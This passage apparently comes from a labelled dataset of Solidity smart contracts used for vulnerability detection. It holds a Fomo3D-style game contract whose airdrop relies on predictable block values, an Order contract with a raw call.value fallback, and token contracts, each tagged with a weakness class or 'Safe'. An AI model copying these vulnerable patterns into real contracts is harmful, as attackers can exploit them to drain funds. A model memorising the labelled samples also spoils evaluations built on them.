_keys = (round_[_rID].eth).keysRec(_eth); if (_keys >= 1000000000000000000) { updateTimer(_keys, _rID); if (round_[_rID].plyr != _pID) round_[_rID].plyr = _pID; if (round_[_rID].team != _team) round_[_rID].team = _team; _eventData_.compressedData = _eventData_.compressedData + 100; } if (_eth >= 100000000000000000) { airDropTracker_++; if (airdrop() == true) { uint256 _prize; if (_eth >= 10000000000000000000) { _prize = ((airDropPot_).mul(75)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 300000000000000000000000000000000; } else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) { _prize = ((airDropPot_).mul(50)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 200000000000000000000000000000000; } else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) { _prize = ((airDropPot_).mul(25)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 100000000000000000000000000000000; } _eventData_.compressedData += 10000000000000000000000000000000; _eventData_.compressedData += _prize * 1000000000000000000000000000000000; airDropTracker_ = 0; } } _eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000); plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys); round_[_rID].keys = _keys.add(round_[_rID].keys); round_[_rID].eth = _eth.add(round_[_rID].eth); rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]); _eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_); _eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_); endTx(_rID, _pID, _team, _eth, _keys, _eventData_); } function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast) private view returns(uint256) { if (plyrRnds_[_pID][_rIDlast].ico == 0) return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) ); else if (now > round_[_rIDlast].strt + rndGap_ && round_[_rIDlast].eth == 0) return( (((((round_[_rIDlast].icoGen).mul(1000000000000000000)) / (round_[_rIDlast].ico).keys()).mul(calcPlayerICOPhaseKeys(_pID, _rIDlast))) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) ); else return( (((round_[_rIDlast].mask).mul(calcPlayerICOPhaseKeys(_pID, _rIDlast))) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) ); } function calcAverageICOPhaseKeyPrice(uint256 _rID) public view returns(uint256) { return( (round_[_rID].ico).mul(1000000000000000000) / (round_[_rID].ico).keys() ); } function calcPlayerICOPhaseKeys(uint256 _pID, uint256 _rID) public view returns(uint256) { if (round_[_rID].icoAvg != 0 || round_[_rID].ico == 0 ) return( ((plyrRnds_[_pID][_rID].ico).mul(1000000000000000000)) / round_[_rID].icoAvg ); else return( ((plyrRnds_[_pID][_rID].ico).mul(1000000000000000000)) / calcAverageICOPhaseKeyPrice(_rID) ); } function calcKeysReceived(uint256 _rID, uint256 _eth) public view returns(uint256) { uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && round_[_rID].eth != 0 && _now <= round_[_rID].end) return ( (round_[_rID].eth).keysRec(_eth) ); else if (_now <= round_[_rID].end) return ( (round_[_rID].ico).keysRec(_eth) ); else return ( (_eth).keys() ); } function iWantXKeys(uint256 _keys) public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && round_[_rID].eth != 0 && _now <= round_[_rID].end) return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) ); else if (_now <= round_[_rID].end) return ( (((round_[_rID].ico).keys()).add(_keys)).ethRec(_keys) ); else return ( (_keys).eth() ); } function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external { require (msg.sender == address(PlayerBook), ""your not playerNames contract... hmmm..""); if (pIDxAddr_[_addr] != _pID) pIDxAddr_[_addr] = _pID; if (pIDxName_[_name] != _pID) pIDxName_[_name] = _pID; if (plyr_[_pID].addr != _addr) plyr_[_pID].addr = _addr; if (plyr_[_pID].name != _name) plyr_[_pID].name = _name; if (plyr_[_pID].laff != _laff) plyr_[_pID].laff = _laff; if (plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function receivePlayerNameList(uint256 _pID, bytes32 _name) external { require (msg.sender == address(PlayerBook), ""your not playerNames contract... hmmm..""); if(plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function determinePID(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { uint256 _pID = pIDxAddr_[msg.sender]; if (_pID == 0) { _pID = PlayerBook.getPlayerID(msg.sender); bytes32 _name = PlayerBook.getPlayerName(_pID); uint256 _laff = PlayerBook.getPlayerLAff(_pID); pIDxAddr_[msg.sender] = _pID; plyr_[_pID].addr = msg.sender; if (_name != """") { pIDxName_[_name] = _pID; plyr_[_pID].name = _name; plyrNames_[_pID][_name] = true; } if (_laff != 0 && _laff != _pID) plyr_[_pID].laff = _laff; _eventData_.compressedData = _eventData_.compressedData + 1; } return (_eventData_); } function verifyTeam(uint256 _team) private pure returns (uint256) { if (_team < 0 || _team > 3) return(2); else return(_team); } function manageRoundAndPlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].end) { if (round_[_rID].ended == false) { _eventData_ = endRound(_eventData_); round_[_rID].ended = true; } rID_++; _rID++; round_[_rID].strt = _now; round_[_rID].end = _now.add(rndInit_).add(rndGap_); } if (plyr_[_pID].lrnd != _rID) { if (plyr_[_pID].lrnd != 0) updateGenVault(_pID, plyr_[_pID].lrnd); plyr_[_pID].lrnd = _rID; _eventData_.compressedData = _eventData_.compressedData + 10; } return(_eventData_); } function endRound(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { uint256 _rID = rID_; if (round_[_rID].eth == 0 && round_[_rID].ico > 0) roundClaimICOKeys(_rID); uint256 _winPID = round_[_rID].plyr; uint256 _winTID = round_[_rID].team; uint256 _pot = round_[_rID].pot; uint256 _win = (_pot.mul(48)) / 100; uint256 _com = (_pot / 50); uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100; uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100; uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d); uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000); if (_dust > 0) { _gen = _gen.sub(_dust); _res = _res.add(_dust); } plyr_[_winPID].win = _win.add(plyr_[_winPID].win); if (!address(coin_base).call.value(_com)()) { _p3d = _p3d.add(_com); _com = 0; } round_[_rID].mask = _ppt.add(round_[_rID].mask); if (_p3d > 0) coin_base.transfer(_p3d); round_[_rID + 1].pot += _res; _eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000); _eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000); _eventData_.winnerAddr = plyr_[_winPID].addr; _eventData_.winnerName = plyr_[_winPID].name; _eventData_.amountWon = _win; _eventData_.genAmount = _gen; _eventData_.P3DAmount = _p3d; _eventData_.newPot = _res; return(_eventData_); } function roundClaimICOKeys(uint256 _rID) private { round_[_rID].eth = round_[_rID].ico; round_[_rID].keys = (round_[_rID].ico).keys(); round_[_rID].icoAvg = calcAverageICOPhaseKeyPrice(_rID); uint256 _ppt = ((round_[_rID].icoGen).mul(1000000000000000000)) / (round_[_rID].keys); uint256 _dust = (round_[_rID].icoGen).sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)); if (_dust > 0) round_[_rID].pot = (_dust).add(round_[_rID].pot); round_[_rID].mask = _ppt.add(round_[_rID].mask); } function updateGenVault(uint256 _pID, uint256 _rIDlast) private { uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast); if (_earnings > 0) { plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen); plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask); } } function updateTimer(uint256 _keys, uint256 _rID) private { uint256 _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end); uint256 _now = now; if (_newTime < (rndMax_).add(_now)) round_[_rID].end = _newTime; else round_[_rID].end = rndMax_.add(_now); } function airdrop() private view returns(bool) { uint256 seed = uint256(keccak256(abi.encodePacked( (block.timestamp).add (block.difficulty).add ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add (block.gaslimit).add ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add (block.number) ))); if((seed - ((seed / 1000) * 1000)) < airDropTracker_) return(true); else return(false); } function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { uint256 _com = _eth / 50; uint256 _p3d; if (!address(coin_base).call.value(_com)()) { _p3d = _com; _com = 0; } uint256 _long = _eth / 100; round_[_rID + 1].pot += _long; uint256 _aff = _eth / 10; if (_affID != _pID && plyr_[_affID].name != '') { plyr_[_affID].aff = _aff.add(plyr_[_affID].aff); emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now); } else { _p3d = _aff; } _p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100)); if (_p3d > 0) { coin_base.transfer(_p3d); _eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount); } return(_eventData_); } function potSwap() external payable { uint256 _rID = rID_ + 1; round_[_rID].pot = round_[_rID].pot.add(msg.value); emit F3Devents.onPotSwapDeposit(_rID, msg.value); } function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100; uint256 _air = (_eth / 100); airDropPot_ = airDropPot_.add(_air); _eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100)); uint256 _pot = _eth.sub(_gen); uint256 _dust = updateMasks(_rID, _pID, _gen, _keys); if (_dust > 0) _gen = _gen.sub(_dust); round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot); _eventData_.genAmount = _gen.add(_eventData_.genAmount); _eventData_.potAmount = _pot; return(_eventData_); } function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys) private returns(uint256) { uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); round_[_rID].mask = _ppt.add(round_[_rID].mask); uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000); plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask); return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000))); } function withdrawEarnings(uint256 _pID) private returns(uint256) { updateGenVault(_pID, plyr_[_pID].lrnd); uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff); if (_earnings > 0) { plyr_[_pID].win = 0; plyr_[_pID].gen = 0; plyr_[_pID].aff = 0; } return(_earnings); } function endTx(uint256 _rID, uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private { _eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (_rID * 10000000000000000000000000000000000000000000000000000); emit F3Devents.onEndTx ( _eventData_.compressedData, _eventData_.compressedIDs, plyr_[_pID].name, msg.sender, _eth, _keys, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount, _eventData_.potAmount, airDropPot_ ); } bool public activated_ = false; function activate() public { require( msg.sender == admin, ""only team just can activate"" ); require(activated_ == false, ""fomo3d already activated""); activated_ = true; rID_ = 1; round_[1].strt = now; round_[1].end = now + rndInit_ + rndGap_; } } library F3Ddatasets { struct EventReturns { uint256 compressedData; uint256 compressedIDs; address winnerAddr; bytes32 winnerName; uint256 amountWon; uint256 newPot; uint256 P3DAmount; uint256 genAmount; uint256 potAmount; } struct Player { address addr; bytes32 name; uint256 win; uint256 gen; uint256 aff; uint256 lrnd; uint256 laff; } struct PlayerRounds { uint256 eth; uint256 keys; uint256 mask; uint256 ico; } struct Round { uint256 plyr; uint256 team; uint256 end; bool ended; uint256 strt; uint256 keys; uint256 eth; uint256 pot; uint256 mask; uint256 ico; uint256 icoGen; uint256 icoAvg; } struct TeamFee { uint256 gen; uint256 p3d; } struct PotSplit { uint256 gen; uint256 p3d; } } library F3DKeysCalcFast { using SafeMath for *; function keysRec(uint256 _curEth, uint256 _newEth) internal pure returns (uint256) { return(keys((_curEth).add(_newEth)).sub(keys(_curEth))); } function ethRec(uint256 _curKeys, uint256 _sellKeys) internal pure returns (uint256) { return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys)))); } function keys(uint256 _eth) internal pure returns(uint256) { return ((((((_eth).mul(1000000000000000000)).mul(200000000000000000000000000000000)).add(2500000000000000000000000000000000000000000000000000000000000000)).sqrt()).sub(50000000000000000000000000000000)) / (100000000000000); } function eth(uint256 _keys) internal pure returns(uint256) { return ((50000000000000).mul(_keys.sq()).add(((100000000000000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq()); } } interface DiviesInterface { function deposit() external payable; } interface JIincForwarderInterface { function deposit() external payable returns(bool); function status() external view returns(address, address, bool); function startMigration(address _newCorpBank) external returns(bool); function cancelMigration() external returns(bool); function finishMigration() external returns(bool); function setup(address _firstCorpBank) external; } interface PlayerBookInterface { function getPlayerID(address _addr) external returns (uint256); function getPlayerName(uint256 _pID) external view returns (bytes32); function getPlayerLAff(uint256 _pID) external view returns (uint256); function getPlayerAddr(uint256 _pID) external view returns (address); function getNameFee() external view returns (uint256); function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256); function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256); function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256); } library NameFilter { function nameFilter(string _input) internal pure returns(bytes32) { bytes memory _temp = bytes(_input); uint256 _length = _temp.length; require (_length <= 32 && _length > 0, ""string must be between 1 and 32 characters""); require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, ""string cannot start or end with space""); if (_temp[0] == 0x30) { require(_temp[1] != 0x78, ""string cannot start with 0x""); require(_temp[1] != 0x58, ""string cannot start with 0X""); } bool _hasNonNumber; for (uint256 i = 0; i < _length; i++) { if (_temp[i] > 0x40 && _temp[i] < 0x5b) { _temp[i] = byte(uint(_temp[i]) + 32); if (_hasNonNumber == false) _hasNonNumber = true; } else { require ( _temp[i] == 0x20 || (_temp[i] > 0x60 && _temp[i] < 0x7b) || (_temp[i] > 0x2f && _temp[i] < 0x3a), ""string contains invalid characters"" ); if (_temp[i] == 0x20) require( _temp[i+1] != 0x20, ""string cannot contain consecutive spaces""); if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39)) _hasNonNumber = true; } } require(_hasNonNumber == true, ""string cannot be only numbers""); bytes32 _ret; assembly { _ret := mload(add(_temp, 32)) } return (_ret); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b, ""SafeMath mul failed""); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, ""SafeMath sub failed""); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, ""SafeMath add failed""); return c; } function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = ((add(x,1)) / 2); y = x; while (z < y) { y = z; z = ((add((x / z),z)) / 2); } } function sq(uint256 x) internal pure returns (uint256) { return (mul(x,x)); } function pwr(uint256 x, uint256 y) internal pure returns (uint256) { if (x==0) return (0); else if (y==0) return (1); else { uint256 z = x; for (uint256 i=1; i < y; i++) z = mul(z,x); return (z); } } }",./Dataset/block number dependency (BN),0,0 40589.sol,"contract owned { function owned() { owner = msg.sender; } address public owner; modifier onlyowner { if (msg.sender != owner) throw; _ } event OwnershipTransfer(address indexed from, address indexed to); function transferOwnership(address to) public onlyowner { owner = to; OwnershipTransfer(msg.sender, to); } } // Token standard API // https://github.com/ethereum/EIPs/issues/20 contract ERC20 { function totalSupply() constant returns (uint supply); function balanceOf(address who) constant returns (uint value); function allowance(address owner, address spender) constant returns (uint _allowance); function transfer(address to, uint value) returns (bool ok); function transferFrom(address from, address to, uint value) returns (bool ok); function approve(address spender, uint value) returns (bool ok); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } contract Order is owned { ERC20 public token; uint public weiPerToken; uint public decimalPlaces; function Order(address _token, uint _weiPerToken, uint _decimalPlaces) { token = ERC20(_token); weiPerToken = _weiPerToken; decimalPlaces = _decimalPlaces; } function sendRobust(address to, uint value) internal { if (!to.send(value)) { if (!to.call.value(value)()) throw; } } function min(uint a, uint b) internal returns (uint) { if (a <= b) { return a; } else { return b; } } function getTransferableBalance(address who) internal returns (uint amount) { uint allowance = token.allowance(msg.sender, address(this)); uint balance = token.balanceOf(msg.sender); amount = min(min(allowance, balance), numTokensAbleToPurchase()); return amount; } function numTokensAbleToPurchase() constant returns (uint) { return (this.balance / weiPerToken) * decimalPlaces; } event OrderFilled(address _from, uint numTokens); // Fills or partially fills the order. function _fillOrder(address _from, uint numTokens) internal returns (bool) { if (numTokens == 0) throw; if (this.balance < numTokens * weiPerToken / decimalPlaces) throw; if (!token.transferFrom(_from, owner, numTokens)) return false; sendRobust(_from, numTokens * weiPerToken / decimalPlaces); OrderFilled(_from, numTokens); return true; } function fillOrder(address _from, uint numTokens) public returns (bool) { return _fillOrder(_from, numTokens); } // Simpler call signature that uses `msg.sender` function fillMyOrder(uint numTokens) public returns (bool) { return _fillOrder(msg.sender, numTokens); } // Simpler call signature that defaults to the account allowance. function fillTheirOrder(address who) public returns (bool) { return _fillOrder(who, getTransferableBalance(who)); } // Simpler call signature that uses `msg.sender` and the current approval // value. function fillOrderAuto() public returns (bool) { return _fillOrder(msg.sender, getTransferableBalance(msg.sender)); } // Even simpler call signature that tries to transfer as many as possible. function () { // allow receipt of funds if (msg.value > 0) { return; } else { fillOrderAuto(); } } // Cancel the order, returning all funds to the owner. function cancel() onlyowner { selfdestruct(owner); } }",./Dataset/unchecked external call (UC),7,7 0x04a3bd876e5692664aab7516876f41a1bbc698e0_SECURRO.sol,"pragma solidity ^0.4.18; // ---------------------------------------------------------------------------- // 'SECURRO' token contract // // Deployed to : 0x3f417ac701cc1ad2257a7f526570a970ac5a8b91 // Symbol : SECR // Name : SECURRO // Total supply: 10000000000 // Decimals : 18 // // // ---------------------------------------------------------------------------- // ---------------------------------------------------------------------------- // Safe maths // ---------------------------------------------------------------------------- contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // ---------------------------------------------------------------------------- contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Contract function to receive approval and execute function in one call // ---------------------------------------------------------------------------- contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } // ---------------------------------------------------------------------------- // Owned contract // ---------------------------------------------------------------------------- contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); function Owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } // ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and assisted // token transfers // ---------------------------------------------------------------------------- contract SECURRO is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function SECURRO() public { symbol = ""SECR""; name = ""SECURRO""; decimals = 18; _totalSupply = 10000000000000000000000000000; balances[0x3f417ac701cc1ad2257a7f526570a970ac5a8b91] = _totalSupply; Transfer(address(0), 0x3f417ac701cc1ad2257a7f526570a970ac5a8b91, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }",Safe,8,8 2716.sol,"pragma solidity ^0.4.24; contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); function mint(address _to, uint256 _amount) internal returns (bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } } contract HasNoEther is Ownable { constructor() public payable { require(msg.value == 0); } function() external { } function reclaimEther() external onlyOwner { assert(owner.send(address(this).balance)); } } contract Scale is MintableToken, HasNoEther { using SafeMath for uint; string public constant name = ""SCALE""; string public constant symbol = ""SCALE""; uint8 public constant decimals = 18; address public pool = address(0); uint public poolMintRate; uint public ownerMintRate; uint public poolMintAmount; uint public stakingMintAmount; uint public ownerMintAmount; uint public poolPercentage = 70; uint public ownerPercentage = 5; uint public stakingPercentage = 25; uint public ownerTimeLastMinted; uint public poolTimeLastMinted; uint public stakingMintRate; uint public totalScaleStaked; mapping (uint => uint) totalStakingHistory; uint timingVariable = 86400; struct AddressStakeData { uint stakeBalance; uint initialStakeTime; } mapping (address => AddressStakeData) public stakeBalances; uint256 inflationRate = 1000; uint256 public lastInflationUpdate; event Stake(address indexed staker, uint256 value); event Unstake(address indexed unstaker, uint256 stakedAmount, uint256 stakingGains); constructor() public { owner = msg.sender; uint _initOwnerSupply = 10000000 ether; bool _success = mint(msg.sender, _initOwnerSupply); require(_success); ownerTimeLastMinted = now; poolTimeLastMinted = now; poolMintAmount = _initOwnerSupply.mul(poolPercentage).div(100); ownerMintAmount = _initOwnerSupply.mul(ownerPercentage).div(100); stakingMintAmount = _initOwnerSupply.mul(stakingPercentage).div(100); uint _oneYearInSeconds = 31536000 ether; poolMintRate = calculateFraction(poolMintAmount, _oneYearInSeconds, decimals); ownerMintRate = calculateFraction(ownerMintAmount, _oneYearInSeconds, decimals); stakingMintRate = calculateFraction(stakingMintAmount, _oneYearInSeconds, decimals); lastInflationUpdate = now; } function adjustInflationRate() private { lastInflationUpdate = now; if (inflationRate > 100) { inflationRate = inflationRate.sub(300); } else if (inflationRate > 10) { inflationRate = inflationRate.sub(5); } poolMintAmount = totalSupply.mul(inflationRate).div(1000).mul(poolPercentage).div(100); ownerMintAmount = totalSupply.mul(inflationRate).div(1000).mul(ownerPercentage).div(100); stakingMintAmount = totalSupply.mul(inflationRate).div(1000).mul(stakingPercentage).div(100); poolMintRate = calculateFraction(poolMintAmount, 31536000 ether, decimals); ownerMintRate = calculateFraction(ownerMintAmount, 31536000 ether, decimals); stakingMintRate = calculateFraction(stakingMintAmount, 31536000 ether, decimals); } function updateInflationRate() public { require(now.sub(lastInflationUpdate) >= 31536000); adjustInflationRate(); } function stakeScale(uint _stakeAmount) external { require(stake(msg.sender, _stakeAmount)); } function stakeFor(address _user, uint _stakeAmount) external { require(stakeBalances[_user].stakeBalance == 0); transfer( _user, _stakeAmount); stake(_user, _stakeAmount); } function stake(address _user, uint256 _value) private returns (bool success) { require(_value <= balances[_user]); require(stakeBalances[_user].stakeBalance 